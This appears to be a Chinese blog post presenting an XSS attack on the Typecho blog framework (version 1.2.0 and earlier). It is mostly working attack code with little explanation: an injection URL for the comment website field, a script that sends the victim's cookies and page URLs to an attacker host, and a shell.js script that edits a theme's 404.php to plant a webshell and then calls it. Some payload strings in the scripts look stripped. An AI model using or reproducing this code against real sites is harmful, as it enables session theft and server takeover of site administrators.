码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift

  • Typecho框架漏洞

    这里说的框架漏洞只适用于1.2.0版本及以下的版本

    这里说的漏洞是xss漏洞，学过渗透的应该都学过，我在这里就不过多阐述了，下面我们直接进入正题

    直接在这个地方插入网址，后面再接上html代码即可，代码如下：

    http://xxx.xxx.com/">

    1. // 定义一个全局变量 website，值为一个具体的网址
    2. var website = "http://xss.xxxx.com";
    4. // 声明并立即执行一个匿名函数
    5. (function() {
    6. // 创建 Image 对象，并给它的 src 属性赋值为 website 和一些参数
    7. (new Image()).src = website
    8. + "/?keepsession=1"
    9. + "&location=" + escape((function() {
    10. try {
    11. // 尝试获取当前文档的 URL
    12. return document.location.href;
    13. } catch (e) {
    14. // 如果出错，返回一个空字符串
    15. return '';
    16. }
    17. })())
    18. + "&toplocation=" + escape((function() {
    19. try {
    20. // 尝试获取顶层窗口的 URL
    21. return top.location.href;
    22. } catch (e) {
    23. // 如果出错，返回一个空字符串
    24. return '';
    25. }
    26. })())
    27. + "&cookie=" + escape((function() {
    28. try {
    29. // 获取当前文档的 cookie
    30. return document.cookie;
    31. } catch (e) {
    32. // 如果出错，返回一个空字符串
    33. return '';
    34. }
    35. })())
    36. + "&opener=" + escape((function() {
    37. try {
    38. // 获取打开当前窗口的窗口的 URL
    39. return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
    40. } catch (e) {
    41. // 如果出错，返回一个空字符串
    42. return '';
    43. }
    44. })());
    45. })();

    shell.js

    1. function step1(){
    2.     // 创建一个包含要注入的 iframe 的 HTML 字符串
    3.     var data2="";
    4.     // 保存原网页内容
    5.     var oldata=document.body.innerHTML;
    6.     // 将注入的 iframe 添加到文档中
    7.     document.body.innerHTML=(oldata+data2);
    8. }
    9.  
    10. // times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
    11. var times=0;
    12. var g_shell=0;
    13.  
    14. function poc(){
    15.     // 如果执行次数 >= 10，或者已经成功注入 webshell，就不再执行
    16.     if(times<=10){
    17.  
    18.         // 获取要修改的 DOM 节点和触发“保存修改”操作的按钮
    19.         var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
    20.         var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
    21.         
    22.         // 保存要修改的原始数据，将要注入的 webshell 代码添加到末尾
    23.         olddatas=htmldata.innerText;
    24.         htmldata.innerText=('\n')+olddatas;
    25.  
    26.         // 点击保存按钮，提交修改后的数据
    27.         btn[1].click();
    28.         
    29.         // 增加 poc 函数的执行次数
    30.         times+=1;
    31.         
    32.         // 如果已经成功注入 webshell，通过 AJAX 请求访问 webshell 接口
    33.         if(g_shell==1){
    34.             var xhr1=new XMLHttpRequest();
    35.             xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
    36.             xhr1.send();
    37.         }
    38.         else{
    39.             return 0;
    40.         }
    41.     }
    42. }
    43.  
    44. // 在页面加载完成后执行 step1 函数
    45. step1();

    然后这里就像上面反弹xss代码一样书写网址

    http://xxx.xxx.com/cookie.js">